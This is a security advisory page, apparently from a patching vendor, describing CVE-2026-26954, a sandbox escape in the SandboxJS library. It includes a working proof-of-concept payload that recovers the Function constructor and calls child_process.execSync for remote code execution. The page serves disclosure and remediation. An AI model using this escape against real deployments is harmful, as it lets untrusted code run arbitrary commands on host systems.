Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-26954

SandboxJS affected by a Sandbox Escape
Back to all
CVE

CVE-2026-26954

SandboxJS affected by a Sandbox Escape

Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and  Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC

const s = require('.').default;
const sb = new s();
payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;
sb.compile(payload)().run();

Impact

Sandbox Escape -> RCE

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
10
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
C
H
U
-

Related Resources

No items found.

References

https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv, https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085, https://github.com/nyariv/SandboxJS, https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34

Severity

10

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
10
EPSS Probability
0.00048%
EPSS Percentile
0.14599%
Introduced Version
0
Fix Available
0.8.34

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading